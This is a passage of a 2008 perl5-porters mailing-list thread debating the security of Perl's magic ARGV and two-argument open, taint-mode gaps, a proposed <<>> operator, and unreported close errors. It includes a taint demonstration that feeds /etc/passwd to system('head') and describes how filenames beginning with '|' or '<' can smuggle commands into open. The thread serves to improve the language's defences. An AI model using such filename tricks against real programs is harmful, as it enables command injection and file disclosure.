PERL_MAGIC_taint(t) MG_LEN = 1 And knows better than to let you use it in external commands: % perl -MDevel::Peek -TE '$ENV{PATH} = "/bin:/usr/bin"; $s = shift; print Dump($s); system("head", -1, $s)' /etc/passwd SV = PVMG(0x3c035b80) at 0x3c03a938 REFCNT = 1 FLAGS = (GMG,SMG,pPOK) IV = 0 NV = 0 PV = 0x3c022210 "/etc/passwd"\0 CUR = 11 LEN = 12 MAGIC = 0x3c03c460 MG_VIRTUAL = &PL_vtbl_taint MG_TYPE = PERL_MAGIC_taint(t) MG_LEN = 1 Insecure dependency in system while running with -T switch at -e line 1. Exit 19 --tom
Subject: Re: Creative and *routine* use of so-called "magic" ARGV (was [perl #2783] Security of ARGV using 2-argument open)
Date: Tue, 29 Jul 2008 22:42:01 +0200
To: perl5-porters [...] perl.org
From: "Rafael Garcia-Suarez" <rgarciasuarez [...] gmail.com>
Download (untitled) / with headers
text/plain 1.5k
2008/7/29 Aristotle Pagaltzis <pagaltzis@gmx.de>: Show quoted text
> * Abigail <abigail@abigail.be> [2008-07-28 21:30]:
>> - Programs that wouldn't use while (<>) pre-5.12 (because they >> might run in an environment where file names may start with >> '|' or '>') will use 3-arg "safe" while (<>), will be, >> silently, a security issue when run with a pre-5.12. >> >> If you make "while (<<>>)" to be 3-arg open, then at least such >> programs will fail to compile when run with a pre-5.12 perl.
> > Exactly. I want to highlight this again: in my opinion, having > code that is safe under 5.12 (or 5.10.1 or whenever) not silently > become unsafe under 5.10.0 or earlier is an incontrovertible > argument for introducing a new safe diamond-like operator as > incompatible syntax.
If I parse you well, that's indeed a compelling argument. Finding a balance between security and compatibility isn't very easy. Show quoted text
> We can discourage the unconsidered use of magic ARGV with a > warning. This would be the exact same strategy that C compilers > followed WRT `gets`, which it seems to me worked well for C. It > also seems to me that the people who are certain enough that they > want this feature are also people who won't shy away from muting > a warning.
Recapitulating what was proposed by you, we are getting to : * not changing <> * introducing new, safer <<>> (or «» if I may joke about the utf8-cleanliness of the tokeniser) * a feature or a pragma then becomes not useful * a way to extend ARGV's magic would be nice, but needs not to be in the core
CC: Mark Mielke <mark [...] mark.mielke.cc>, mjd [...] plover.com, Perl5-Porteros <perl5-porters [...] perl.org>, Rafael Garcia-Suarez <rgarciasuarez [...] gmail.com>
Subject: Re: Creative and *routine* use of so-called "magic" ARGV (was [perl #2783] Security of ARGV using 2-argument open)
Date: Tue, 29 Jul 2008 15:19:34 -0600
To: Abigail <abigail [...] abigail.be>
From: Tom Christiansen <tchrist [...] perl.com>
Download (untitled) / with headers
text/plain 10.2k
In-Reply-To: Message from Abigail <abigail@abigail.be> of "Tue, 29 Jul 2008 09:29:13 +0200." <20080729072913.GM30221@almanda> Show quoted text
> On Tue, Jul 29, 2008 at 01:08:21AM -0400, Mark Mielke wrote:
Show quoted text
>> If I want to write a secure application, I'm not sure I would choose >> Perl. If I did use Perl, or any other language, I would expect to have >> to put in effort and have a clue.
Show quoted text
> I wouldn't expect anyone to write a non-trivial secure application without > having to put in effort and having a clue. Regardless of the language.
It's amazing what people expect. If I've heard it once--and I have--then I've heard it said a hundred times that, "We can't use {grep or ++ or multiple inheritance or WHATEVER} in our Perl code because the Virtual Basic programmers we've hired to maintain our code don't understand {WHATEVER}." And nobody (but me) even ever laughs, despite how if you'd just s/Perl/C++/, then I find that everyone *would* laugh. These aren't competent professionals. They're programming strumpets just doing what they're paid to do, and thinking doesn't appear part of the job description (or of their managers'). Show quoted text
> But if you think this is an important issue, wouldn't it make much > more sense to teach people RIGHT NOW that they shouldn't rely on > while (<>) automatically open files for them, then to wait a couple > of years before 5.12 is released, and then a few more years before > everyone has upgraded to 5.12?
Because while you can lead a horse to water, but you can't make it drink. And if you let it drink freely on its own, it may drink itself to death. Which just shows that you can't win for trying. I spent years on it--YEARS. They still just won't learn. Things like this have been in the FAQ since BEFORE Camel-1 even; they've been in plenty of the available documentation since then--a body of writing I note with extreme dismay and contemptuous disdain, has been remarkably bowdlerized with Pythonesque Right-Thinking-Only since last I visited it. It used to be right there prominently in open in the perl 4.036 manpage: The filename that is passed to open will have leading and trailing whitespace deleted. In order to open a file with arbitrary weird characters in it, it's necessary to protect any leading and trailing whitespace thusly: $file =~ s#^(\s)#./$1#; open(FOO, "< $file\0"); But that is now hidden away at best. And it's no longer even in the FAQ at all, which is where it belongs! Certainly the 1997 version of perlfaq5 covered it. It once read: How can I open a file with a leading ">" or trailing blanks? Normally perl ignores trailing blanks in filenames, and interprets certain leading characters (or a trailing "|") to mean something special. To avoid this, you might want to use a routine like this. It makes incomplete pathnames into explicit relative ones, and tacks a trailing null byte on the name to make perl leave it alone: sub safe_filename { local $_ = shift; return m#^/# ? "$_\0" : "./$_\0"; } $fn = safe_filename("<<<something really wicked "); open(FH, "> $fn") or "couldn't open $fn: $!"; You could also use the sysopen function (see sysopen). What do we get today? Bowdlerization! How can I open a file with a leading ">" or trailing blanks? (contributed by Brian McCauley) The special two argument form of Perl's open() function ignores trailing blanks in filenames and infers the mode from certain leading characters (or a trailing "|"). In older versions of Perl this was the only version of open() and so it is prevalent in old code and books. Unless you have a particular reason to use the two argument form you should use the three argument form of open() which does not treat any characters in the filename as special. open FILE, "<", " file "; # filename is " file " open FILE, ">", ">file"; # filename is ">file" HELLO? What happened to the right answer that was there before? But what should I expect? The perl faq is now a document that thinks this is somehow clear and consistent code, and it's anything but: # ... { local($^I, @ARGV) = ('.orig', glob("*.c")); while (<>) { if ($. == 1) { print "This line should appear at the top of each file\n"; } s/\b(p)earl\b/${1}erl/i; # Correct typos, preserving case print; close ARGV if eof; # Reset $. } } # $^I and @ARGV return to their old values here It's *terribly* misleading! Notice that while loop's close curly. Oh wait, got it wrong, didn't you? This is very poor style. Worse, it doesn't protect the things that it should protect, and doesn't even do what it claims to do! At the very least, it needs to be rewritten as: # ... { local $^I = ".orig"; local($_, *ARGV, *ARGVOUT); @ARGV = glob("*.c"); while (<>) { if ($. == 1) { print "This line should appear at the top of each file\n"; } s/\b(p)earl\b/${1}erl/i; # Correct 1st typo; preserve *only* initial case print; # This will go to ARGVOUT, the temp file close ARGV if eof; # Reset $. } # and rename files on each new $ARGV; # XXX: pity we didn't check the close, but neither did Perl } # Here $^I, $_, @ARGV, $ARGV, *ARGV{IO}, and *ARGVOUT{IO} # all return to any previous values held before block entrance. There are entries like that throughout. Makes me want to pull my hair out for wasted effort. Which brings me to my final complaint of the day. That code is wrong because Perl itself is wrong. No really, it is. Watch: % df -h . Filesystem Size Used Avail Capacity Mounted on /dev/wd0a 124M 117M -5.0K 100% / % ls -l it* -rw-r--r-- 1 tchrist wheel 0 Jul 29 14:06 it % perl -i.orig -pe 'print "this is more stuff\n"' it % echo $? 0 % ls -l it* 0 -rw-r--r-- 1 tchrist wheel 0 Jul 29 15:05 it 0 -rw-r--r-- 1 tchrist wheel 0 Jul 29 14:06 it.orig To this day, Perl's implicit closing of files doesn't warn you of errors, let alone exit nonzero. This makes it do wrong thing and not even tell you it did them wrong. This is a *true* problem, because checking for the success of print() is neither necessary nor sufficient to detect the success of print(). Yes, you read that correctly. It's because of buffering, plus the persistence of the err flag on the file structure. I've never convinced anybody this is important. Since *every* program should do this for correctness, it has to be in the run-time system to avoid it ever being forgotten. Sure, there's stuff like this you can do: END { close(STDOUT) || die "can't close stdout: $!" } But that sort of thing should happen on all implicitly closed things. And it really must. Even IO::Handle::close doesn't bother. Perl knows what handles it's flushing closing during global destruction, at least if you don't just blindly fflush(0). Watch again, starting from before the bogus, ill-reported rename attempt: % df -h . Filesystem Size Used Avail Capacity Mounted on /dev/wd0a 124M 117M -5.0K 100% / % ls -l it -rw-r--r-- 1 tchrist wheel 0 Jul 29 14:06 it % perl -e 'print "stuff\n"' >> it; echo $? 0 % perl -e 'open(my $fh, ">>it") || die "open $!"; print $fh "stuff\n"; print STDOUT "ok now\n"' ok now % echo $? 0 % ls -l it -rw-r--r-- 1 tchrist wheel 0 Jul 29 14:06 it This is all incorrect behavior on Perl's part. Even cat knows better! % echo foo | cat >> it; echo $? cat: stdout: No space left on device 1 +-------------------------------------------------------+ | Notice how even my cat is smarter than your perl!? :( | +-------------------------------------------------------+ What's that about, eh? But I've been saying this for years, just like everything else. Makes no difference. Depressing, eh? BTW, this proves my point about checking for print's status being a waste of time, neither necessary nor sufficient to catch failed prints! % perl -e 'open(my $fh, ">>it") || die "open $!"; print $fh "stuff\n" or die "print $!"; print STDOUT "ok now\n"'; echo exit status was $? ok now exit status was 0 And you can't get the danged thing to detect its folly: % perl -WE 'open(my $fh, ">>it") || die "open $!"; say $fh "stuff" or die "print $!"; say "ok now"' ; echo exit status was $? ok now exit status was 0 I firmly believe that this needs to be a part of *EVERY* Perl program, which consequently means it should *not* be there, but in the core itself: END { close(STDOUT) || die "can't close stdout: $!" } And I believe this *much* more than some here believe <ARGV> needs to implicitly map {"< $_\0"} @ARGV (since that breaks existing working code, whereas mine fixes existing broken code). Furthermore, I also believe all *IMPLICIT* closes that fail need to generate a mandatory io warning, but that of STDOUT should be a fatal. I've believed all this for a long time; said it often enough. Anything else is just plain wrong behavior. I'm not quite sure whether ARGVOUT failure should be a warning or a fatal, but it should be *something* suitably noisy. And no, Abigail, *please* understand that I don't mean *you* personally in any way in this. Why, I'd even bet a beverage you agree with me about this fh silent-closing problem! Rather I'm referring to the overall groupthink and practice here, whereby simple stuff that's wrong just *never* gets addressed, let alone fixed, but esoteric stuff that's well-documented and at best a fringe issue gets all the airspace. Meanwhile, the documentation continues to--well, you know. Best be charitable and just say "ramify with baroque embellishments", but you quite know what that means, I'm sure. 'Nuff of this: time for sunshine. --tom -- Quotes below are all from Dorothy Parker: "You can lead a whore to culture, but you can't make her think." "You can't teach an old dogma new tricks." "If you want to know what God thinks of money, just look at the people he gave it to." "All I need is room enough to lay a hat and a few friends." "Brevity is the soul of lingerie." "The cure for boredom is curiosity. There is no cure for curiosity."
CC: Mark Mielke <mark [...] mark.mielke.cc>, mjd [...] plover.com, Perl5-Porteros <perl5-porters [...] perl.org>, Abigail <abigail [...] abigail.be>, Rafael Garcia-Suarez <rgarciasuarez [...] gmail.com>
Subject: Re: Taint bug (was: Creative and *routine* use of so-called "magic" ARGV (was [perl #2783] Security of ARGV using 2-argument open))
Date: Tue, 29 Jul 2008 15:47:07 -0600
From: Tom Christiansen <tchrist [...] perl.com>
Download (untitled) / with headers
text/plain 563b
Show quoted text
>On Tue, Jul 29, 2008 at 01:39:59PM -0600, Tom Christiansen wrote:
>> >> To my mind, it's a bug that while(<>) in taint mode doesn't >> realize that a raw @ARGV from the command line is unsafe.
Show quoted text
>It doesn't?
As I myself tried to show, it depends on what you're doing. Apparently, there's some idea that merely opening a file read-only is always a safe thing, no matter who's telling you what file to open. [Haven't looked at C code] I'm not 100% sure that's true. But building in -f tests etc seems overboard, too, and possibly even the wrong thing. --tom
Subject: Re: Taint bug (was: Creative and *routine* use of so-called "magic" ARGV (was [perl #2783] Security of ARGV using 2-argument open))
Date: Tue, 29 Jul 2008 23:29:42 +0000 (UTC)
To: perl5-porters [...] perl.org
From: Ed Avis <eda [...] waniasset.com>
Download (untitled) / with headers
text/plain 1.4k
Tom Christiansen <tchrist <at> perl.com> writes: Show quoted text
>To my mind, it's a bug that while(<>) in taint mode doesn't >realize that a raw @ARGV from the command line is unsafe.
FWIW, I agree. Since currently <> uses unsafe open, taint should flag it. At the moment you get no error, until one of the arguments happens to contain a shell metacharacter, at which point the program dies with a taint error. It would be better to die for all cases because then the programmer has a chance to spot the problem sooner. But, again, this might prompt you to ask why just 'reading the files' should need taint checking. After all, there is no taint error for #!/usr/bin/perl -T use warnings; use strict; my $filename = <STDIN>; chomp $filename; open my $fh, '<', $filename or die $!; close $fh or die $!; It executes just fine, and that is entirely correct. The open() call is safe, in that no matter what filename it is passed it will do what it says on the tin and try to open a file of that name for reading. Taint checking and safe, predictable I/O commands are orthogonal. If you have a command like 3-arg open which doesn't rely on magic characters interpolated into a string to change its behaviour, then taint checking is not needed. Only inherently unsafe (powerful, but potentially dangerous) operations like eval "$code", /$regexp/, open($fh, "$magic_string") need the extra check. -- Ed Avis <eda@waniasset.com>
Subject: Re: Creative and *routine* use of so-called "magic" ARGV (was [perl #2783] Security of ARGV using 2-argument open)
Date: Wed, 30 Jul 2008 01:30:30 +0200
To: perl5-porters [...] perl.org
From: Aristotle Pagaltzis <pagaltzis [...] gmx.de>
Download (untitled) / with headers
text/plain 2.7k
* Rafael Garcia-Suarez <rgarciasuarez@gmail.com> [2008-07-29 22:45]: Show quoted text
> 2008/7/29 Aristotle Pagaltzis <pagaltzis@gmx.de>:
>> * Abigail <abigail@abigail.be> [2008-07-28 21:30]:
>>> - Programs that wouldn't use while (<>) pre-5.12 (because >>> they might run in an environment where file names may >>> start with '|' or '>') will use 3-arg "safe" while (<>), >>> will be, silently, a security issue when run with a >>> pre-5.12. >>> >>> If you make "while (<<>>)" to be 3-arg open, then at least >>> such programs will fail to compile when run with a pre-5.12 >>> perl.
>> >> Exactly. I want to highlight this again: in my opinion, having >> code that is safe under 5.12 (or 5.10.1 or whenever) not >> silently become unsafe under 5.10.0 or earlier is an >> incontrovertible argument for introducing a new safe >> diamond-like operator as incompatible syntax.
> > If I parse you well, that's indeed a compelling argument.
I think you are. The argument in full length is: if someone writes `while (<>)` under 5.12, and this uses 3-arg open in 5.12, then takes that code and runs it under 5.8, it will silently change behaviour. Whereas if `while (<>)` stays the same, and someone instead writes `while (<<>>)` in 5.12, then takes that code and runs it under 5.8, the program won’t run at all. As well it shouldn’t. And we know the legions of ancient perls that are still deployed, and that few people arm all their scripts with `require 5.whatev`, so this is quite a likely scenario. For that reason, changing the semantics of `while (<>)` is a bad idea. Show quoted text
>> We can discourage the unconsidered use of magic ARGV with a >> warning. This would be the exact same strategy that C >> compilers followed WRT `gets`, which it seems to me worked >> well for C. It also seems to me that the people who are >> certain enough that they want this feature are also people who >> won't shy away from muting a warning.
> > Recapitulating what was proposed by you, we are getting to : > * not changing <>
Apart from the warning, obviously, per the paragraph you quoted right above your recapulation. Show quoted text
> * introducing new, safer <<>> (or «» if I may joke about the > utf8-cleanliness of the tokeniser) > * a feature or a pragma then becomes not useful > * a way to extend ARGV's magic would be nice, but needs not to > be in the core
Yes. I want to note that I’m not enamoured with the choice of `<<>>` as the operator’s glyph, but I have no better proposal and I’m not overly invested in that bikeshed. If anyone feels they have a better idea, pipe up (most specifically, I wish Larry would); either way though, so long as it breaks loudly in existing perls, it’s good enough. Anyway, I *think* this approach satisfies everyone’s concerns. Regards, -- Aristotle Pagaltzis // <http://plasmasturm.org/>
Subject: Re: Creative and *routine* use of so-called "magic" ARGV (was [perl #2783] Security of ARGV using 2-argument open)
Date: Wed, 30 Jul 2008 01:57:14 +0200
To: Perl5-Porteros <perl5-porters [...] perl.org>
From: Aristotle Pagaltzis <pagaltzis [...] gmx.de>
Download (untitled) / with headers
text/plain 936b
* Tom Christiansen <tchrist@perl.com> [2008-07-29 23:25]: Show quoted text
> To this day, Perl's implicit closing of files doesn't warn you > of errors, let alone exit nonzero. This makes it do wrong thing > and not even tell you it did them wrong. This is a *true* > problem, because checking for the success of print() is neither > necessary nor sufficient to detect the success of print(). Yes, > you read that correctly. It's because of buffering, plus the > persistence of the err flag on the file structure. > > I've never convinced anybody this is important.
It absolutely is. I had no idea, and as far as I’m concerned it’s broken obviously enough that it needs no supporting argument. * Tom Christiansen <tchrist@perl.com> [2008-07-29 21:45]: Show quoted text
> To my mind, it's a bug that while(<>) in taint mode doesn't > realize that a raw @ARGV from the command line is unsafe.
Yes. Regards, -- Aristotle Pagaltzis // <http://plasmasturm.org/>
Subject: Re: Creative and *routine* use of so-called "magic" ARGV (was [perl #2783] Security of ARGV using 2-argument open)
Date: Tue, 29 Jul 2008 20:16:01 -0600
To: Aristotle Pagaltzis <pagaltzis [...] gmx.de>
From: Tom Christiansen <tchrist [...] perl.com>
In-Reply-To: Your message of "Wed, 30 Jul 2008 01:57:14 +0200." <20080729235714.GN9326@klangraum.plasmasturm.org> Show quoted text
> * Tom Christiansen <tchrist@perl.com> [2008-07-29 23:25]:
Show quoted text
>> To this day, Perl's implicit closing of files doesn't warn you >> of errors, let alone exit nonzero. This makes it do wrong thing >> and not even tell you it did them wrong. This is a *true* >> problem, because checking for the success of print() is neither >> necessary nor sufficient to detect the success of print(). Yes, >> you read that correctly. It's because of buffering, plus the >> persistence of the err flag on the file structure. >> >> I've never convinced anybody this is important.
Show quoted text
> It absolutely is. I had no idea, and as far as I'm concerned it's > broken obviously enough that it needs no supporting argument.
Hello, Aristotle. I'm quite glad to hear you say that. Maybe one's grandparents are right, and all one has to do is outlive one's detractors. :-) Then again, that's what the warrior says, and that's not the same thing. --tom
CC: perl5-porters [...] perl.org
Subject: Senatorial (Senescent?) reflective pause (was: Creative and *routine* use of so-called "magic" ARGV (was [perl #2783] Security of ARGV using 2-argument open))
Date: Tue, 29 Jul 2008 21:04:36 -0600
To: Aristotle Pagaltzis <pagaltzis [...] gmx.de>
From: Tom Christiansen <tchrist [...] perl.com>
Download (untitled) / with headers
text/plain 4.2k
In-Reply-To: Message from Aristotle Pagaltzis <pagaltzis@gmx.de> of "Wed, 30 Jul 2008 01:30:30 +0200." <20080729233030.GL9326@klangraum.plasmasturm.org> Show quoted text
> I want to note that I'm not enamoured with the choice of <<>> > as the operator's glyph,
Indeed; nor am I. Show quoted text
> but I have no better proposal and I'm not overly invested in that > bikeshed. If anyone feels they have a better idea, pipe up (most > specifically, I wish Larry would);
I wouldn't hold my breath; but you never know. I do note how Larry seems never to have thought a warning merited for sub-3-arg opens of any variety. I opine that it's always been the position that hostile-environment operations should be dealt with as exceptional ones not standard ones. That means that they're for running with -T and/or Safe. I don't mean real security problems are ever treated lightly. I just find it hard to see that this anymore than another of many other things that just fall out of the Unix environment, like fifos and such. Show quoted text
> either way though, so long as it breaks loudly in existing perls, > it's good enough.
Show quoted text
> Anyway, I *think* this approach satisfies everyone's concerns.
I'd like to think about it a bit more. I still have a vague hunch like a module, or here even a pragma, might be a good idea. It's vague, and undeveloped. I'd like to give that time to grow. In any event, I don't think that the alarmicists' loudness should cause anyone to make quick, undeliberated actions. I am especially reminded of that annoying period in our history when we were all forced to write while (defined ($data = <FH>)) { ... } while (defined ($data = readline(*FH) { ... } while (defined ($filename = readdir(DH)) { ... } if (!defined ($linkee = readlink($filename))) { ... } To quiet the very, very annoying warnings that came from the risk of getting back "0", which is a false but defined, and couldn't be replaced by the (notorious?) "0 but true". (See footnote) It didn't really become too noticeable until Windows, which thought that textfiles were CRLF-separated, not newline-terminated, sequences of lines. Using chomp over chop fixed them, but not this. So for a while, *EVERYBODY* had to change their programs. That alone should have been enough to show something wasn't right. You can't demand all users be smarter, because it will never happen. But you can make the compiler smarter. Finally, the compiler got smart enough to insert an implicit defined() when it recognized while ($var = readXXX()) { ...} for XXX = {line,dir,link}, which was the *much* better solution, by far. There are plenty of similarities here to that situation. I'm afraid we may be heading down, if not break-their-programs, at least the annoying-warning route, and that now as then there might well be a cleaner and less noisily troubling solution. That's why I don't think loudness of complaint should turn into quick action. Without a dampening period of contemplation and consideration, the feedback loop would whiplash the language too much, and thence its users as well. ---tom FN: "0 but true" is exempt from numeric warnings, just like the very special form of "" returned by relationals, which is PL_sv_no. Sure, undef is exempt from them for ++ and += and .=, but the special "" (PL_sv_no) is except in all situations, just as "0 but true" is. % perl -WE 'say "001"+"000"' 1 % perl -WE 'say 1+"3 blind mice"' Argument "3 blind mice" isn't numeric in addition (+) at -e line 1. 4 % perl -WE 'say 1+"0 but true"' 1 % perl -WE 'say 1+""' Argument "" isn't numeric in addition (+) at -e line 1. 1 % perl -WE 'say 1+(2==3)' 1 Although: % perl -Mbignum -WE 'say "000"+"001"' 1 % perl -Mbignum -WE 'say 1+(2==3)' NaN % perl -Mbignum -WE 'say 1+""' NaN % perl -Mbignum -WE 'say 1+"3 blind mice"' NaN And: % perl -WE 'say "Inf" + 0' 0 % perl -WE 'say "Inf" + 1' 1 % perl -WE 'say "Inf" + "-Inf"' 0 % perl -WE 'say "Inf" * "Inf"' 0 vs % perl -Mbignum -WE 'say "Inf" + 0' NaN % perl -Mbignum -WE 'say "Inf" + 1' NaN % perl -Mbignum -WE 'say "Inf" + "-Inf"' 0 % perl -Mbignum -WE 'say "Inf" * "Inf"' 0
Subject: Re: Creative and *routine* use of so-called "magic" ARGV (was [perl #2783] Security of ARGV using 2-argument open)
Date: Wed, 30 Jul 2008 09:00:46 +0200
To: Perl5-Porteros <perl5-porters [...] perl.org>
From: "Rafael Garcia-Suarez" <rgarciasuarez [...] gmail.com>
Download (untitled) / with headers
text/plain 981b
2008/7/30 Aristotle Pagaltzis <pagaltzis@gmx.de>: Show quoted text
> * Tom Christiansen <tchrist@perl.com> [2008-07-29 23:25]:
>> To this day, Perl's implicit closing of files doesn't warn you >> of errors, let alone exit nonzero. This makes it do wrong thing >> and not even tell you it did them wrong. This is a *true* >> problem, because checking for the success of print() is neither >> necessary nor sufficient to detect the success of print(). Yes, >> you read that correctly. It's because of buffering, plus the >> persistence of the err flag on the file structure. >> >> I've never convinced anybody this is important.
> > It absolutely is. I had no idea, and as far as I'm concerned it's > broken obviously enough that it needs no supporting argument.
I concur. A patch would help, but I know that PerlIO is not the simplest thing to patch, and the problem is probably a bix complex now. A proper bug report would help, too, because currently this one is deep buried in another thread.
Subject: Re: Creative and *routine* use of so-called "magic" ARGV (was [perl #2783] Security of ARGV using 2-argument open)
Date: Wed, 30 Jul 2008 13:06:21 +0000 (UTC)
To: perl5-porters [...] perl.org
From: Ed Avis <eda [...] waniasset.com>
Download (untitled) / with headers
text/plain 2.3k
Roland Giersig <rgiersig <at> cpan.org> writes: Show quoted text
>How about this: > >in v5.12: > >* add the '<<>>' operator as the now-standard magic 2-arg-open (clone it >from '<>') > >* issue a warning whenever '<>' invokes its magic, telling about the >coming change, i.e. > > "You are using the magical behaviour of the <> operator with regards >to command pipes| or file redirections in ARGV. Please note that <> will >lose its magic in the next version. To keep the magical behaviour, use >the new <<>> operator instead."
Either have a warning or change the semantics; I don't think you need both. Once people see the warning they will change their code to either explicit magic or explicit boring-file-opening. Anyway, we can't plan as far ahead as 5.14. Show quoted text
>* add a pragma, e.g. "use feature safe_diamond" or equivalent to already >switch '<>' over to use the 3-args-open. That way developers can already >use the new behaviour, avoiding those dreaded version-checks.
Pragmas are useful when you want to change the global behaviour of a program. But typically <> is used in just one place, the main loop, and certainly in just one source file (by an unfortunate accident of perl's implementation, you cannot in general pass the ARGV filehandle to subroutines expecting a filehandle). So I think a pragma is overkill here, better a way to explicitly say what you want: <SAFE_ARGV> or <MAGIC_ARGV>, with appropriate syntactic sugar to provide a <<>> operator or whatever. Show quoted text
>* "use v5.x" (for x < 12) of course should switch magical behaviour back >on for '<>'.
I think this is also getting a bit hairy and tangled. Show quoted text
>Coming to think of, this argument is so strong that the >two-step-approach now seems overkill to me. Just making sure that "use >5.x" switches the magic back on for '<>' should be sufficient.
Um, I don't know, after all one of the main points is that people were and are using perl-5.10, perl-5.8 and older versions and believing <> reads files given on the command line. If you put 'use 5.6' in your program it means it will not work with perl older than that, not 'preserve 5.6's bugs for all time'. Otherwise I had better go through and remove 'use 5.10' from all my programs lest I miss out on some bug present in 5.10 but fixed in later perls! Let's not put extra bizarre stuff into 'use 5.xx', it is awkward enough already. -- Ed Avis <eda@waniasset.com>
CC: perl5-porters [...] perl.org
Subject: Re: Creative and *routine* use of so-called "magic" ARGV (was [perl #2783] Security of ARGV using 2-argument open)
Date: Wed, 30 Jul 2008 15:35:47 +0200
To: Roland Giersig <rgiersig [...] cpan.org>
From: Abigail <abigail [...] abigail.be>
Download (untitled) / with headers
text/plain 1.7k
On Wed, Jul 30, 2008 at 02:49:51PM +0200, Roland Giersig wrote: Show quoted text
> Rafael Garcia-Suarez wrote:
>> 2008/7/29 Aristotle Pagaltzis <pagaltzis@gmx.de>:
>>> We can discourage the unconsidered use of magic ARGV with a >>> warning. This would be the exact same strategy that C compilers >>> followed WRT `gets`, which it seems to me worked well for C. It >>> also seems to me that the people who are certain enough that they >>> want this feature are also people who won't shy away from muting >>> a warning.
>> >> Recapitulating what was proposed by you, we are getting to : >> * not changing <> >> * introducing new, safer <<>> (or «» if I may joke about the >> utf8-cleanliness of the tokeniser) >> * a feature or a pragma then becomes not useful >> * a way to extend ARGV's magic would be nice, but needs not to be in the core
> > Sounds good, but leaves the issue of fixing <> (which is important > IMHO). How about this:
[ Proposal to change the meaning of <> ] Show quoted text
> This approach means that people have plenty of time to adapt their apps > if they really rely on magical behaviour by either changing '<>' to > '<<>>' or adding 'use v5.x'. If they do nothing, their apps just become > a little bit safer.
Eh, the argument Aristotle and I used, and Rafael agrees with isn't that programs will break with newer versions of Perl, it's that programs written to be safe in 5.12 (or whenever <> defaults to 3-arg), become unsafe when run with an older perl. But if you leave <> as is, and use <<>> for 3-arg open, a program using safe opens won't run on a perl that doesn't have the feature. Surely you must agree that a program is safer if it refuses to run on a perl that doesn't use 3-arg open than a program that silently uses 2-arg open? Abigail
Subject: Re: Creative and *routine* use of so-called "magic" ARGV (was [perl #2783] Security of ARGV using 2-argument open)
Date: Wed, 30 Jul 2008 14:42:48 +0100
To: perl5-porters [...] perl.org
From: Zefram <zefram [...] fysh.org>
Download (untitled) / with headers
text/plain 1.3k
Tom Christiansen wrote: Show quoted text
>What do we get today? Bowdlerization! > > How can I open a file with a leading ">" or trailing blanks?
... Show quoted text
> Unless you have a particular reason to use the two argument form you > should use the three argument form of open() which does not treat any > characters in the filename as special.
I don't see Bowdlerisation here. I see a better way to achieve the objective. Show quoted text
>HELLO? What happened to the right answer that was there before?
It was superseded by this simpler right answer, when the three-argument form of open() became available. Show quoted text
>But what should I expect? The perl faq is now a document that thinks >this is somehow clear and consistent code, and it's anything but:
I agree with your problems with this one, however. Show quoted text
>To this day, Perl's implicit closing of files doesn't warn you of errors, >let alone exit nonzero. This makes it do wrong thing and not even tell you >it did them wrong.
I wholeheartedly agree with you in this gripe. I often (but, admittedly, not always) end up writing wrappers along the lines of sub IO::Handle::safe_print { shift->print(@_) or die $! } sub IO::Handle::safe_flush { shift->flush or die $! } and I wish such dying versions of I/O functions were standardised and the norm. Proper use of the exception mechanism makes it a lot easier to write correct programs. Roll on autodie. -zefram
CC: perl5-porters [...] perl.org
Subject: Re: Creative and *routine* use of so-called "magic" ARGV (was [perl #2783] Security of ARGV using 2-argument open)
Date: Wed, 30 Jul 2008 18:50:53 +0200
To: Roland Giersig <rgiersig [...] cpan.org>
From: Abigail <abigail [...] abigail.be>
Download (untitled) / with headers
text/plain 1.6k
On Wed, Jul 30, 2008 at 05:01:38PM +0200, Roland Giersig wrote: Show quoted text
> Abigail wrote:
> > Eh, the argument Aristotle and I used, and Rafael agrees with isn't that
>> programs will break with newer versions of Perl, it's that programs >> written to be safe in 5.12 (or whenever <> defaults to 3-arg), become >> unsafe when run with an older perl. But if you leave <> as is, and use >> <<>> for 3-arg open, a program using safe opens won't run on a perl that >> doesn't have the feature.
> >
>> Surely you must agree that a program is safer if it refuses to run on a >> perl that doesn't use 3-arg open than a program that silently uses 2-arg >> open?
> > This can also be accomplished with "use v5.12", no? > > Do we assume that somebody who knows or learns about the 3-arg-diamond > also knows about the security-implications? I would say 'yes', so this > programmer will probably care enough to insert a 'use v5.12' to prevent > running on older perls. > > A programmer who in your case uses the 3-arg-open '<<>>' already gives > up backward-compatibility, preventing usage of the script in an unsafe > environment. > > Which he also could do in my case by using the '<>' changed to > 3-arg-open and adding 'use v5.12'.
The case discussed here is not smart programmers. If we had programmers that did the right thing, we wouldn't even have this discussion, as then programmers wouldn't use while(<>) in environments where it's unsafe. And as long as we have dumb programmers who should need protection, I wouldn't count on them adding 'use v5.12' to their programs. Or someone else taking their code, and removing the 'use 5.12' (because it runs on 5.10 anyway). Abigail
Subject: Re: Creative and *routine* use of so-called "magic" ARGV (was [perl #2783] Security of ARGV using 2-argument open)
Date: Wed, 30 Jul 2008 13:32:08 -0500
To: "Perl 5 Porters" <perl5-porters [...] perl.org>
From: "David Nicol" <davidnicol [...] gmail.com>
Download (untitled) / with headers
text/plain 827b
On Tue, Jul 29, 2008 at 6:30 PM, Aristotle Pagaltzis <pagaltzis@gmx.de> wrote: Show quoted text
> I want to note that I'm not enamoured with the choice of `<<>>` > as the operator's glyph, but I have no better proposal and I'm > not overly invested in that bikeshed.
As the overcaffeinated fool who suggested that operator, in the ensuing days I have longed for the opportunity to revise my proposed bikeshed color to '>>>' which hopefully will provide neat symmetry with the proposed '<<<TOKEN' which might be just like '<<TOKEN' except strip leading indentation (like ksh's '<<-)' anyway after learning of the possibility of altering the filenames as tchrist has pointed out and which used to be inthe faq before the 3-arg open craze, I no longer think wide football is a good idea, under any syntax. (has it been a straw man all along?)
Subject: Re: Creative and *routine* use of so-called "magic" ARGV (was [perl #2783] Security of ARGV using 2-argument open)
Date: Wed, 30 Jul 2008 14:41:23 -0400
To: Perl5-Porteros <perl5-porters [...] perl.org>
From: Rick Delaney <rick [...] bort.ca>
Download (untitled) / with headers
text/plain 562b
On Jul 30 2008, Aristotle Pagaltzis wrote: Show quoted text
> * Tom Christiansen <tchrist@perl.com> [2008-07-29 21:45]:
> > To my mind, it's a bug that while(<>) in taint mode doesn't > > realize that a raw @ARGV from the command line is unsafe.
> > Yes.
Please submit a (more descriptive) bug report if you are serious. I, for one, am more inclined to fix an actual bug in tainting than I am to implement a new feature, pragma, or operator for anyone who laments Perl's crappy security but can't be bothered to stick -T on their shebang line. -- Rick Delaney rick@bort.ca
CC: perl5-porters [...] perl.org
Subject: Re: Creative and *routine* use of so-called "magic" ARGV (was [perl #2783] Security of ARGV using 2-argument open)
